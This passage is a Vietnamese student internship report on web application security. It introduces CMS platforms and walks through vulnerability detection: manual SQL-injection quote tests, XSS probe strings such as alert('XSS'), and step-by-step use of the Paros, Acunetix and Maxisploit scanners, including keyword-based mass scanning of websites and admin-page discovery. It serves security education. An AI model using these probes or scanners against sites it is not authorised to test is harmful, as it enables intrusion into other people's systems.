SlideShare a Scribd company logo
1 of 51
Download to read offline
LỜI CÁM ƠN
Lời đầu tiên em xin gửi lời cảm ơn chân thành đến TRUNG TÂM ĐÀO TẠO QUẢN
TRỊ MẠNG & AN NINH MẠNG QUỐC TẾ ATHENA đã cho phép và tạo điều kiện
cho chúng em hoàn thành quá trình thực tập tại doanh nghiệp
Đồng thời em xin gửi lời cám ơn sâu sắc đến thầy Võ Đỗ Thắng giám đốc Trung tâm
cùng các anh chị trong Trung tâm đã tận tình hướng dẫn, hỗ trợ và chỉ bảo em trong suốt
quá trình thực tập. Em đã học học được nhiều kiến thức và kinh nghiệm thực tiễn quý báu
để làm nền tảng cho học tập, công việc và nghiên cứu của em sau này.
Lời tiếp theo em xin cám ơn các thầy cô trong khoa Mạng máy tính & Truyền thông –
Trường ĐH Công nghệ Thông tin đã cấp giấy giới thiệu và tạo điều kiện tốt cho sinh viên
đến thực tập tại Trung tâm, em cũng xin gửi lời cám ơn đến các bạn bè, đồng nghiệp đã
luôn đồng hành và hỗ trợ em trong suốt quá trình thực tập
Tuy đã có gắng nỗ lực nhưng trong quá trình thực tập và viết báo cáo em không thể
tránh khỏi sai sót, kính mong nhận được sự thông cảm và góp ý của Trung tâm cũng như
các thầy cô trong khoa, em xin chân thành cám ơn.
Sinh viên thực hiện
Cao Văn Lực
CỘNG HOÀ XÃ HỘI CHỦ NGHĨA VIỆT NAM
Độc lập – Tự do – Hạnh phúc
-------------------
PHIẾU NHẬN XÉT THỰC TẬP
Họ và tên sinh viên: Cao Văn Lực Ngày sinh: 20/08/1992
Lớp: MMTT2010 Ngành: Truyền thông & An ninh thông tin Khóa: 2010 – 2015
Khoa: Mạng máy tính & Truyền thông Trường: ĐH Công nghệ Thông tin
Thực tập tại: TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG & AN NINH MẠNG
QUỐC TẾ ATHENA
Địa chỉ: 92, Nguyễn Đình Chiểu, Phường Đa Kao, Q.1, Tp Hồ Chí Minh
Từ ngày: 04 / 03 / 2014 đến ngày…..…./………/ 2014
1. Về tinh thần, thái độ, ý thức tổ chức kỷ luật:
…………………………………………………………………………………………
………………………………………………………………………………………....
………………………………………………………………………………………....
2. Về những công việc được giao:
…………………………………………………………………………………………
…………………………………………………………………………………………
…………………………………………………………………………………………
3. Chất lượng chuyên môn
………………………………………………………………………………………....
…………………………………………………………………………………………
…………………………………………………………………………………………
4. Kết quả đạt được:
…………………………………………………………………………………………
…………………………………………………………………………………………
…………………………………………………………………………………………
Xác nhận của lãnh đạo Tp Hồ Chí Minh, ngày ...... tháng ...... năm 2014
Cơ quan thực tập Cán bộ hướng dẫn thực tập
MỤC LỤC
CHƯƠNG I – GIỚI THIỆU VỀ DOANH NGHIỆP VÀ CÔNG VIỆC THỰC TẬP
1. Giới thiệu về doanh nghiệp.........................................................................................
2. Công việc thực tập......................................................................................................
2.1 Bộ phận thực tập và công việc thực tập...............................................................
2.2 Thời gian thực tập, cán bộ phụ trách....................................................................
CHƯƠNG II – NỘI DUNG THỰC TẬP..........................................................................
1. Tình hình an ninh mạng hiện nay..............................................................................
2. Khái niệm, cấu trúc và cách hoạt động của Web Application...................................
2.1 Khái niệm về Web Application...........................................................................
2.2 Cấu trúc và cách hoạt động của Web Application...............................................
3. Giới thiệu các Web Application được tạo bởi WORDPRESS, JOOMLA,
vBulletin……………………………………………………………………………
3.1 WordPress……………………………………………………………………..
3.2 Joomla………………………………………………………………………….
3.3 vBulletin……………………………………………………………………….
4. Công cụ và phương pháp phát hiện lỗ hổng bảo mật Web Application....................
4.1 Phương pháp thủ công phát hiện lỗ hổng bảo mật Web Application..................
4.2 Công cụ phát hiện lỗ hổng bảo mật Web Application.........................................
4.2.1 Paros Proxy................................................................................................
4.2.2 Acunetix Web Vulnerability Scanner........................................................
4.2.3 Maxisploit Scanner....................................................................................
5. Một số lỗ hổng bảo mật Web Application.................................................................
5.1 Lỗi SQL Injection.................................................................................................
5.1.1 Khái niệm....................................................................................................
5.1.2 Các dạng tấn công.......................................................................................
5.1.3 Cách thức và phương pháp tấn công...........................................................
5.1.4 Cách phòng chống và bảo mật....................................................................
4.2 Lỗi Cross Site Scripting (XSS)............................................................................
5.2.1 Khái niệm....................................................................................................
5.2.2 Các dạng tấn công.......................................................................................
5.2.3 Cách thức và phương pháp tấn công...........................................................
5.2.4 Cách phòng chống và bảo mật....................................................................
5.3 Lỗi Cross-site Request Forgery (CSRF).............................................................
5.3.1 Khái niệm....................................................................................................
5.3.2 Các dạng tấn công......................................................................................
5.3.3 Cách thức và phương pháp tấn công..........................................................
5.3.4 Cách phòng chống và bảo mật...................................................................
5.4 Một số lỗ hổng Web Application khác nổi bật hiện nay.....................................
5.4.1 Lỗi Heartbleed............................................................................................
5.4.2 Khai thác qua Phishing...............................................................................
6. Một số Tool Khai thác lỗ hổng bảo mật Web Application........................................
6.1 Havij...................................................................................................................
6.1.1 Giới thiệu...................................................................................................
6.1.2 Đặc điểm....................................................................................................
6.1.3 Cách hoạt động..........................................................................................
6.2 Sqlmap...............................................................................................................
5.2.1 Giới thiệu....................................................................................................
5.2.2 Đặc điểm....................................................................................................
5.2.3 Cách hoạt động..........................................................................................
7. Nguy hiểm và mối đe dọa từ các lỗ hổng bảo mật.....................................................
7.1 Từ lỗi SQL Injection..........................................................................................
7.2 Từ lỗi Cross Site Scripting (XSS)......................................................................
7.3 Từ lỗi Cross-site Request Forgery (CSRF)..........................................................
CHƯƠNG III – KẾT QUẢ THỰC TẬP
1. Khảo sát danh sách một số Web Application có lỗi bảo mật.....................................
2. Khai thác và tấn công một số Web Application có lỗi bảo mật.................................
3. Đưa ra giải pháp khắc phục, phòng chống và bảo mật cụ thể....................................
CHƯƠNG IV – Ý KIẾN, ĐÓNG GÓP VÀ ĐỀ XUẤT
1. Đối với Sinh viên thực tập..........................................................................................
2. Đối với Doanh nghiệp thực tập...................................................................................
3. Đối với Nhà trường.....................................................................................................
CHƯƠNG V – TÀI LIỆU THAM KHẢO
DANH SÁCH HÌNH VẼ
Hình 1: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA
Hình 2: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA
Hình 3: Công nghệ Web 2.0
Hình 4: Một Web Application
Hình 5: Thành phần của một Web Application
Hình 6: Cách thức hoạt động của một Web Application
Hình 7: Cách thức hoạt động của một Web Application
Hình 8: Giao diện chương trình của Paros Proxy
Hình 9: Kết quả Scan Website bị lỗi của Paros Proxy
Hình 10: Giao diện của Acunetix Web Vulnerability Scanner
Hình 11: Kết quả Scan của Acunetix Web Vulnerability Scanner
Hình 12. Giao diện làm việc Maxisploit Scanner
Hình 13. Kết quả Scan Website của Maxisploit Scanner
Hình 14. Phương pháp luận của tấn công SQL Injection
Hình 15. Các dạng tấn công SQL Injection
Hình 16. Các cách phát hiện tấn công SQl Injection
Hình 17. Cách phòng chồng tấn công SQL Injection
Hình 18. Cách phòng chồng tấn công SQL Injection
Hình 19. Quy trình tấn công XSS đơn giản
Hình 20. Ví dụ tấn công XSS thông qua Email
Hình 21. Ví dụ tấn công XSS bằng ăn cắp Cookies
Hình 22 . Quy trình của tấn công XSS
Hình 23. Quy trình tấn công CSRF
Hình 24. Cách thức tấn công chung của tấn công CSRF
Hình 25. Cách thức tấn công chung của tấn công CSRF
Hình 26. Mô hình tấn công CSRF theo phương thức POST
Hình 27. Giao diện làm việc của Havij
Hình 28: Giao diện làm việc của Sqlmap
Hình 29. Thống kê mối nguy hiểm từ tấn công SQL Injection theo EC – Council
Hình 30. Các site bị lỗi SQL injection được quét bằng Maxisploit
CHƯƠNG I – GIỚI THIỆU DOANH NGHIỆP VÀ CÔNG VIỆC THỰC TẬP
1. Giới thiệu về doanh nghiệp
Trung Tâm Đào Tạo Quản Trị Mạng & An Ninh Mạng Quốc Tế ATHENA được
thành lập từ năm 2004, là một tổ chức qui tụ nhiều trí thức trẻ Việt Nam đầy năng
động, nhiệt huyết và kinh nghiệm trong lãnh vực CNTT, với tâm huyết góp phần vào
công cuộc thúc đẩy tiến trình đưa công nghệ thông tin là ngành kinh tế mũi nhọn,
góp phần phát triển nước nhà
Hình 1: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA
Lĩnh vực hoạt động chính:
Trung tâm ATHENA đã và đang tập trung chủ yếu vào đào tạo chuyên sâu
quản trị mạng, an ninh mạng, thương mại điện tử theo các tiêu chuẩn quốc tế của các
hãng nổi tiếng như Microsoft, Cisco, Oracle, Linux LPI , CEH,... Song song đó,
trung tâm ATHENA còn có những chương trình đào tạo cao cấp dành riêng theo
đơn đặt hàng của các đơn vị như Bộ Quốc Phòng, Bộ Công An , Ngân hàng, Doanh
nghiệp, các cơ quan Chính phủ, tổ chức Tài chính và nhiều học viên tốt nghiệp tại
trung tâm đã là chuyên gia đảm nhận nhiều vị trí tại các cơ quan trên.
Ngoài chương trình đào tạo, Trung tâm ATHENA còn có nhiều chương trình hợp
tác và trao đổi công nghệ với nhiều đại học lớn như Đại học Bách Khoa Thành Phố
Hồ CHính Minh, Đại học An Ninh Nhân Dân, Học viện Công nghệ Bưu chính Viễn
thông, Hiệp hội an toàn thông tin (VNISA), ĐH Công nghệ Thông tin, Hội Tin học
Tp Hồ Chí Minh (HCA),..v..v…
Đội ngũ giảng viên, nhân viên:
Tất cả các giảng viên trung tâm ATHENA có đều tốt nghiệp từ các trường đại
học hàng đầu trong nước .... Tất cả giảng viên ATHENA đều phải có các chứng chỉ
quốc tế như MCSA, MCSE, CCNA, CCNP, Security+, CEH,có bằng sư phạm Quốc
tế (Microsoft Certified Trainer).Đây là các chứng chỉ chuyên môn bắt buộc để đủ
điều kiện tham gia giảng dạy tại trung tâm ATHENA. Bên cạnh đó,Các giảng viên
ATHENA thường đi tu nghiệp và cập nhật kiến thức công nghệ mới từ các nước tiên
tiến như Mỹ , Pháp, Hà Lan, Singapore,... và truyền đạt các công nghệ mới này trong
các chương trình đào tạo tại trung tâm ATHENA
Hình 2: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA
2. Công việc thực tập
2.1 Bộ phận thực tập và công việc thực tập
- Bộ phận thực tập: Nghiên cứu tại bộ phận Công nghệ thông tin của Trung tâm
- Công việc thực tập: Áp dụng các kiến thức đã học ở trường và tài liệu bên
ngoài để tìm hiểu về các lỗ hổng bảo mật Web Application, công cụ tấn công,
cách thức tấn công và bảo mật Web Application, cụ thể tìm hiểu cách hoạt
động của một Web Application, các công cụ và phương pháp phát hiện Web
Application bị lỗi bảo mật, các lỗi bảo mật Web Application thường gặp hiện
nay, cách thức hoạt động hay tấn công của lỗi bảo mật đó, từ ấy áp dụng vào
một số Web Application hiện tại khảo sát được và đưa ra giải pháp phòng
chống.
2.2 Thời gian thực tập và cán bộ hướng dẫn
- Thời gian thực tập: từ 04/03/2014 đến /05/2014
- Cán bộ phụ trách: Anh Trần Lâm Mẫn – nhân viên giảng dạy Trung tâm đào
tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA, Thầy Võ Đỗ Thắng
– Giám đốc Trung tâm đào tạo Quản trị mạng & An ninh mạng Quốc tế
ATHENA
CHƯƠNG II – NỘI DUNG THỰC TẬP
1. Tình hình an ninh mạng hiện nay
Chỉ tính từ đầu năm 2012 đến tháng 3/2013, trung bình mỗi ngày có tới 6 website
tại Việt Nam bị tấn công, tương ứng với hơn 2.000 website bị tấn công mỗi năm.
Trên 70% các trang web có lỗ hổng có thể dẫn đến các hành vi trộm cắp dữ liệu và
phá hoại của các công ty, tổ chức, cá nhân như: Thông tin thẻ tín dụng hay danh sách
khách hàng, đánh cắp bí mật thương mại, lừa đảo, phát tán, thay đổi nội dung, chiếm
quyền điều khiển, phá hoại hoạt động,…v..v
Khả năng có thể truy cập 24/7 từ bất cứ nơi nào trên thế giới hay các ứng dụng
web không an toàn thường cung cấp truy cập dễ dàng đến cơ sở dữ liệu là một sơ hở
lớn cho phép tin tặc có thể thực hiện các hoạt động bất hợp pháp bằng cách sử dụng
các trang web đã tấn công. Hầu hết nguyên nhân của các vụ tấn công này là do
website tồn tại nhiều lỗ hổng bảo mật.
Một điều đáng lo ngại nữa là đối với các cá nhân, tổ chức và doanh nghiệp,
CNTT nói chung và các ứng dụng web nói riêng đang trở thành một trong các nhân
tố, công cụ đắc lực hỗ trợ tăng hiệu suất làm việc và lợi nhuận, hiểu quả kinh tế cao
cho họ, nhưng sự quan tâm, và chi phí bỏ ra cho lĩnh vực bảo trì, bảo mật lại không
đáng kể. Đồng thời các mói nguy hiểm đe dọa ngày càng mới và phát triển phức tạp
hơn, khả năng tấn công và khai thác của các kẻ xấu đã tăng lên rõ rệt, các mã độc,
phần mềm độc hại, virut trở nên khó phát hiện và tiêu diệt hơn.
Vì vậy vấn đề an ninh mạng nói chung và bảo mật Web Application nói riêng
đang là một vấn đề quan trọng và cấp bách cần phải được nghiên cứu, tìm hiểu và
đưa ra các giải pháp và kỹ thuật mới để phòng tránh, đồng thời cá nhân, tổ chức và
doanh nghiệp cũng cần dành nhiều thời gian, kinh phí, nhân lực kỹ thuật để đảm bảo
cho hệ thống mạng cũng như Web Application của mình hoạt động tốt, có khả năng
chống chọi và ngăn chặn trước các mối nguy hiểm và các cuộc tấn công.
2. Khái niệm, cấu trúc và cách hoạt động của Web Application
2.1 Khái niệm về Web Application
Web Application hay còn gọi là ứng dụng web là một chương trình hay phần
mềm ứng dụng chạy trên nền tảng web, web application thường được cài trên máy
chủ của một Web Server nào đó trên mạng internet, người dùng truy cập internet và
sử dụng ứng dụng này thông qua một trình duyệt web.
Web Application trở nên phổ biến cùng với sự phát triển của các trình duyệt
web, khả năng cập nhật và duy trì hoạt động của ứng dụng web rất dễ dàng mà
không cần phải cài đặt hay phân phối. Những ứng dụng web thường có giao diện,
đẹp, phong phú, giúp người dùng dễ dàng tương tác và sử dụng
Một số ứng dụng web phổ biến hiện nay như: Webmail, bán hàng trực tuyến,
wiki, từ điển, bản đồ, mạng xã hội..v…v.. Xu hướng website tương tác đang phát
triển mạnh với sự ra đời của Web 2.0, 1 thuật ngữ bao gồm nhiều công nghệ đã có,
nhưng có nhiều tính năng tương tác cao, người dùng là trung tâm
Hình 3: Công nghệ Web 2.0
Hình 4: Một Web Application
2.2 Cấu trúc và cách hoạt động của Web Application
Một ứng dụng Web thông thường được cấu trúc như một ứng dụng ba lớp. Ở
dạng phổ biến nhất, một trình duyệt Web là lớp thứ nhất, một bộ máy sử dụng một
vài công nghệ nội dung Web động (như ASP, ASP.NET, CGI, ColdFusion, JSP/Java,
PHP, Python, hoặc Ruby On Rail) là lớp giữa, và một cơ sở dữ liệu là lớp thứ ba.
Trình duyệt sẽ gửi yêu cầu đến lớp giữa, lớp giữa sẽ phục vụ bằng cách tạo ra
truy vấn và cập nhật cơ sở dữ liệu và tạo ra giao diện người dùng.
Cụ thể người dung khởi tạo yêu cầu ban đầu bằng trình duyệt thông qua Internet
đến máy chủ ứng dụng web. Ứng dụng web sẽ truy cập vào máy chủ cơ sở dữ liệu để
thực hiện các nhiệm vụ yêu cầu và lấy các thông tin nằm trong cơ sở dữ liệu. Các
ứng dụng web sau đó trình bày các thông tin lấy được cho người sử dụng thông qua
trình duyệt
Hình 5: Thành phần của một Web Application
Hình 6: Cách thức hoạt động của một Web Application
Hình 7: Cách thức hoạt động của một Web Application
3. Giới thiệu các Web Application được tạo bởi WordPress, Joomla, VBB
Ngày nay, việc sở hữu trong tay một trang Blog, Website hay diễn đàn cá nhân
miễn phí trở nên rất dễ dàng bởi sự phát triển nhanh chóng của các mã nguồn mở
cũng như các dịch vụ và công cụ hỗ trợ tạo ra chúng. Mã nguồn mở là một bộ khung,
thư viện được một tổ chức uy tín trên thế giới đứng ra phát triển và chia sẻ cùng với
hàng nghìn lập trình viên rải rác trên thế giới. Người quản trị cần có sự hiểu biết về
các mã nguồn mở để có thể thiết kế, xây dựng, cài đặt và hướng dẫn để vận hành
trang web. Nếu xét đến chi phí để thiết kế, cài đặt và xây dựng một trang bằng mã
nguồn mở thì là khá rẻ nhưng thường là miễn phí với những ai tự làm. Web được
viết bằng mã nguồn mở cũng có nhiều phiên bản, được cập nhật và hỗ trợ khá nhanh
3.1 WordPress
WordPress là một mã nguồn mở và hoàn toàn miễn phí để làm blog, trang web cá
nhân, WordPress được viết bằng ngôn ngữ lập trình PHP và sử dụng MySQL
database. WordPress là một trong những mã nguồn được sử dụng nhiều nhất bởi khả
năng tùy biến cao, dễ sử dụng và sự phổ biến của nó
Đặc tính nổi bật
- Hệ thống Plugin phong phú và cập nhật liên tục, bạn cũng có thể tự viết plugin
- Hỗ trợ nhiều ngôn ngữ
- Được cập nhật, vá lỗi và hỗ trợ liên tục
- Có rất nhiều Theme miễn phí, chuyên nghiệp và SEO rất tốt
- Tích hợp sẵn Latex – công cụ soạn thảo công thức toán học, bạn có thể viết công
thức toán học ngay trong bài viết
- Upload và quản lý hình ảnh một cách dễ dàng, đặc biệt là chức năng tạo
thumbnail
- Có một hệ thống Widget đa dạng ( ứng dụng tạo thêm ) khá đa dạng như thống kê
số người truy cập, danh sách các bài viết mới, các bài viết nổi bật, được xem
nhiều, được comment nhiều,..v..v..
- Hệ thống phân quyền với nhiều cấp độ khác
- Hệ thống quản lý và duyệt Comment rất hay, có thể chặn spam theo IP
- Sao lưu dữ liệu và di chuyển dữ liệu một cách dễ dàng
- Hỗ trợ import đa năng từ các Blog khác như Blogspot, Tumblr, Blogger,
LiveJournal
- WordPress hỗ trợ 3GB để lưu trữ hình ảnh và văn bản
Nhược điểm của WordPress
- Chi phí đầu tư và bảo trì hosting cao
- Cần phải cài đặt, tạo database ban đầu
- Muốn tùy biến WordPress hay chỉnh sửa template cần phải có kỹ năng lập trình
- Sử dụng các theme đẹp và plugin tốt thì phải trả phí
- Quá nhiều hàm có sẵn và các khái niệm khó.
- Bị bộ phận hỗ trợ và quản lý của WordPress can thiệp khi thấy hoạt động của
Website có những thay đổi bất thường.
Hình 8. WordPress
3.2 Joomla
Joomla là hệ thống quản trị nội dung mã nguồn mở, Joomla được viết bằng ngôn
ngữ PHP và kết nối tới cơ sở dữ liệu MySQL, giúp chúng ta xây dựng các trang web
cũng như các ứng dụng trực tuyến khá mạnh mẽ.
Đặc tính nổi bật
- Dễ sử dụng, thân thiện đối với cả những người nghiệp dư và các chuyên gia
- Joomla có một thư viện các ứng dụng (extensions) khổng lồ được lập trình bởi
các lập trình viên khắp nơi, từ những giao diện ở mức đơn giản cho tới phức tạp,
hầu hết là miễn phí, giúp bạn có rất nhiều lựa chọn mở rộng tính năng cho
website của minh
- Dễ dàng tìm và sửa các lỗi gặp phải
- Joomla cung cấp các tài liệu hướng dẫn sử dụng từ cơ bản cho tới nâng cao, tài
liệu API dành cho lập trình viên, phát triển viên được cung cấp đầy đủ
Nhược điểm của Joomla
- Mã nguồn của Joomla tương đối lớn dẫn tới tốn nhiều tài nguyên hệ thống
- Việc có quá nhiều extensions được viết bởi rất nhiều lập trình viên khác nhau dẫn
tới tiềm ần các lỗi bảo mật trong các extensions đó
- Khả năng SEO của Joomla kém nhất trong các loại mã nguồn mở
- Độ tương thích với các loại hosting không cao, không chạy tốt trên máy chủ
Windows ISS
- Số lượng lệnh truy vấn đến SQL Server nhiều
Hình 9. Joomla
3.3 vBulletin
vBulletin là một sản phẩm phần mềm được viết bằng PHP và lấy MySQL làm cơ
sở dữ liệu, vBulletin dùng để xây dựng cộng đồng (forum) trên internet.
Đặc điểm nổi bật
- Giao diện đẹp, tính bảo mật cao, quản lý dễ dàng, nhiều chức năng
- Có khá nhiều các Addon, Skin, Theme và Style khác nhau
- Chức năng cho người quản trị khá đầy đủ và có nhiều lự chọn
- Có thể sử dụng, chỉnh sửa, upload file lên host dễ dàng
- Có thể tải file backup để tạo lại diễn đàn mới
Nhược điểm của vBulletin
- Sự bảo mật và an toàn tùy thuộc vào khả năng, kiến thức, kinh nghiệm, sự cẩn
thận của từng người quản trị
- Là một mã nguồn có thu phí, sẽ bị tịch thu, xử lý nếu dùng lậu
- ACP tuy đầy đủ chuyên nghiệp, nhưng phức tạp
- Tạo skin, theme phức tạp
- Tốc độ truy xuất dữ liệu còn hạn chế, chạy khá nặng với dung lượng dữ liệu lớn
và rất tốn bandwidth
- Tốn phí duy trì domain và host.
Hình 10. vBulletin
4. Công cụ và phương pháp phát hiện lỗ hổng bảo mật Web Application
4.1 Phương pháp thủ công phát hiện lỗ hổng bảo mật Web Application
a. SQL Injection
Có một cách đơn giản để kiểm tra website của bạn có bị lỗi SQL injection hay
không:
Bước 1: Mở trình duyệt và gõ vào địa chỉ website cần kiểm tra.
Bước 2: Tìm một đường dẫn nào đó có dạng:
http://ten-website.com/?cid=1&pid=2 ...
Sau đó bạn thêm dấu nháy đơn ' hoặc nháy kép " vào đường dẫn trên: http://ten-
website-cua-ban.com/?cid=1&pid=2'
Nếu bạn thấy dòng thông báo tương tự:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL
result resource in
tức là website của bạn đang bị lỗi SQL Injection
b. Cross Site Scripting (XSS)
Một site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau: search results,
error messages, Web-form, chủ yếu lỗi XSS nằm ở các phần này, nói chung là
XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ
nhận được 1 cái gì đó. Cách tìm lỗi để cho rõ ràng thì có thể chia thành 5 bước:
Bước 1: Mở website cần kiểm tra.
Bước 2: Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông
tin đi (nhập thông tin và nhấn submit, login hay ok gì đó ).
Bước 3: Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông
tin trả về: Ví dụ như thế này :
• "Your search for 'XSS' did not find any items"
• "Your search for 'XSS' returned the following results"
• "User 'XSS' is not valid"
• "Invalid login 'XSS" hoặc là cái gì đó mà có dính tới chữ "XSS" mà mình
nhập vào ban đầu thì 99% "Alert" này bị XSS. Chú ý: Các ô input hay các biến
ngay trên thanh address ( var= ) thấy mấy cái này thì cứ nhét dữ liệu vào. Hãy thử
với những script này: hoặc < i*g csstest=java script:alert('XSS')> hoặc có thể là
&{alert('XSS')};
c. Cross-site Request Forgery (CSRF)
Nếu website cho phép thực hiện các chức năng thông qua các request GET
hoặc POST cố định thì có khả năng mắc lỗi CSRF là khá cao, tức là nếu chúng ta
replay lại được request POST hoặc GET trên thì có khả năng là website sẽ mắc
lỗi. CSRF sẽ lừa trình duyệt của người dùng gửi đi các câu lệnh http đến các ứng
dụng Web, một số action gây ra việc thay đổi CSDL như insert, update, delete…
dẫn đến lỗi này nằm ở chỗ các request sẽ insert, delete và update vào cơ sở dữ
liệu. Tại Website các request này có thể tồn tại trong những thẻ <IMG>,
<IFRAME>, trong các textbox hoặc button…
4.2 Công cụ phát hiện lỗ hổng bảo mật Web Application
4.2.1 Paros Proxy
Paros Proxy là một ứng dụng kiểm tra các lỗ hổng bảo mật trên cá ứng dụng
web trên Proxy. Một trang web trên nền Java thường kết hợp dạng proxy điều đó
dẫn tới có nhiều lỗ hổng bảo mật. Phần mềm này hỗ trợ cho phép thay đổi/xem
các gói tin HTTP/HTTPS và thay đổi chúng ở cookies. Bao gồm một tính năng
Web Recorder, web spider, và công cụ Scanner cho phép kiểm tra các ứng dụng
có khả năng bị tấn công như lỗi SQL Injection và Cross-site Scripting. Trước khi
cài đặt Paros Proxy bạn phải cài Java SE Runtime Environment 32 bit vì Paros
Proxy được viết trên nền tảng Java và chỉ chạy được trên JRE 32 bit
Hình 8: Giao diện chương trình của Paros Proxy
Hướng dẫn quét lỗ hổng bảo mật Website bằng Paros Proxy Tools
Bước 1. Mở chương trình vào Analyse -> Scan Policy để chỉnh sửa chính sách
Scan (thêm/bớt nếu muốn)
Bước 2. Tiếp theo vào Tool -> Options -> Local Proxy để chỉnh Local Proxy với
Address là localhost và Port là 8080
Bước 3. Tiếp theo vào máy tính chỉnh Proxy bằng cách vào Control Panel ->
Internet Options -> Connections -> LAN Setting chỉnh Local Proxy với Address
là localhost và Port là 8080
Bước 4. Tiếp theo vào trình duyệt Mozila Firefox để chỉnh Proxy bằng cách vào
Options -> Advanced -> Network -> Setting chỉnh Local Proxy với Address là
127.0.0.1 và Port là 8080
Bước 5. Sau đó tìm 1 Website nghi ngờ bị lỗi sau đó cho chạy trên trình duyệt
Bước 6. Tiếp theo vẫn ở Site đang chọn, nhìn vào khung bên phải có thể xem
được các thông tin của trang Web Server đang Scan như: phương thức
(POST/GET), host, kiểu kết nối, tên miền phiên bản trình duyệt, ngôn ngữ,..v.v...
Bước 7. Tiếp theo nhìn vào bên trái giao diện chương trình, ở phần Site click vào
Site mình vừa chạy và vào Analyse -> Scan để tiến hành quét
Bước 8. Sau khi thấy có thông báo OK xuất hiện, tức là Scan xong thì vào Report
-> Last Scan Report để xem kết quả
Hình 9: Kết quả Scan Website bị lỗi của Paros Proxy
4.2.2 Acunetix Web Vulnerability Scanner
Acunetix WVS (Web Vulnerability Scanner) là chương trình tự động kiểm tra
các ứng dụng Web để tìm kiếm các lỗ hổng bảo mật như SQL Injection, hay
Cross-Site Scripting,… và tìm kiếm những chính sách đối với mật khẩu đăng
nhập cũng như các phương thức xác thực vào Web Site. Acunetix WVS là một
công cụ quét lỗi cho ứng dụng Web dựa trên một cơ sở dữ liệu rộng lớn được cập
nhật thường xuyên, với các thuật toán Heuristic đáp ứng được các cơ chế họat
động phức tạp của môi trường Web. Acunetix WVS có thể tự động kiểm tra các
lổ hỗng thông dụng và các mối nhạy cảm khác của những web site có thể truy cập
bằng trình duyệt, hay những ứng dụng được xây dụng trên các kỹ thuật tiên tiến
như AJAX.. để thực hiện được điều này Acunetix WVS dựa trên nhiều phương
pháp và công cụ tích hợp để:
• Crawling (lấy về) toàn bộ website gồm tất cả các liên kết trên site và cả trong
tập tin robots.txt sau đó hiển thị tòan bộ cấu trúc này một cách chi tiết.
• Sau tiến trình cwarling và khám phá tình trạng của ứng dụng web, Acunetix
WVS tự động phát động các đợt tấn công đã được lập trình sẳn dựa trên các lổ
hổng, giống như khi web site bị một hacker tấn công thực sự, phân tích các trang
và những vị trí có thể nhập liệu cùng với các sự kết hợp
khác nhau của dữ liệu đầu vào có thể làm cho website hiển thị những thông tin
nhạy cảm.
• Sau khi tìm ra được các lổ hổng, Acunetix WVS thông báo trên các “Alerts
Node”, mỗi alert gồm các thông tin về lỗi cũng như các mối nguy hiểm có thể
gặp phải và “dĩ nhiên” là kèm theo các khuyến nghị về cách thức khắc phục.
• Sau khi tiến trình kiểm tra hòan tất, chúng ta có thể lưu lại thành một tập tin để
phân tích sau này, với công cụ báo cáo chuyên nghiệp sẽ giúp cho các web master
dễ dàng tổng hợp các kết quả kiểm tra khác nhau trên ứng dụng Web của mình.
Sau khi quét, Acunetix WVS sẽ liệt kê cấu trúc của site, phiên bản webserver
đang sử dụng, URL không tồn tại, các lỗi phát hiện được cũng như mức độ
Security của site đang quét, nhìn hình các bạn sẽ thấy những liệt kê rất cụ thể.
Mức độ bảo mật của website được AWV đánh giá từ low, medium, high. Nếu
website của bạn được liệt kê ở mức low, hãy nhanh chóng fix lỗi mà AWV liệt kê
Cửa sổ tool Explorer cung cấp cho ta các công cụ WebScanner gồm Tool
(Site Scrawler, Target Finder, Subdomain, Authentication,..v..v.. ), Web Service,
Configuration, General chỉ cần nhấp chuột vào công cụ nào đó để AWV thực
hiện nhiệm vụ của mình
Cửa sổ bên phải trên cùng 1 lần nữa liệt kê lại các công cụ
Dưới phần này là phần thao tác nhanh đến các dịch vụ như NewScan, Sample
Scan, Reporter,..v..v.
Sau khi config chương trình hoàn tất, ta tiến hành quét, AWV sẽ cung cấp cho
bạn phiên bản của Webserver nếu detect được, các ứng dụng Web đang chạy,
cổng mở, cấu trúc site, mức độ Secure, các URL có thể lợi dụng, ngôn ngữ, kiểu
kết nối và thông tin về cách khai thác, và quan trọng là các lỗi đang có.
Hình 10: Giao diện của Acunetix Web Vulnerability Scanner
Hướng dẫn quét lỗ hổng bảo mật Website bằng Acunetix Web
Vulnerability Scanner
Tạo 1 phiên Scan mới bằng cách vào click vào New Scan trên chương trình
Ở phần Scan Single Website gõ vào địa chỉ site cần scan
Tiếp theo click Next xuống tab Option để tùy chỉnh chính sách vá cấu hình Scan
ở phần Scan
Profile và Scan Testing mặc định để Default
Tiếp theo click vào Next để xuống tab Target, ở tùy chỉnh này chúng ta để mặc
định và click Next
Tiếp theo chuyển xuống tab Login phần này có thể để mặc định
Cuối cùng nhấn Finish -> OK và đợi Scan xong xem kết quả.
Hình 11: Kết quả Scan của Acunetix Web Vulnerability Scanner
4.2.3 Maxisploit Scanner
Maxisploit là phần mềm để Scan các lỗi Sql Injection và XSS trong các
website. Nó có thể scan một loạt các website của một nước dựa vào từ khóa mà
chúng ta chọn.
Hình 12. Giao diện làm việc Maxisploit Scanner
Công cụ Maxisploit có bốn mục đích chính, như sau:
 Đối với lỗi SQL Injection nó sẽ quét các trang web dễ bị tổn tương dựa
trên lỗi SQL phổ biển cho nhiều hệ quản trị cơ sở dữ liệu, như: MySQL,
SQL server, Microsoft Access,..Các scan khác nhau: nó sẽ quét các trang
web không hiển thị lỗi SQL nhưng dễ bị tổn thương
 Đối với XSS scanner: Nó sẽ mác hóa XSS vector và cố gắng quét kết quả
nhận được từ máy chủ web (web server). Nếu XSS vector được tìm thấy
bên trong mã nguồn thì trang web đó có lỗi. Nó chỉ sử dụng yêu cầu GET
đến web server.
 Admin scanner: Nó sẽ quét tới trang đăng nhập admin, dựa vào dánh sách
mặc định hay bất kì danh sách mà bạn cung cấp. Nếu nhận hồi đáp với mã
200 và 306 thì được xem xét thành công.
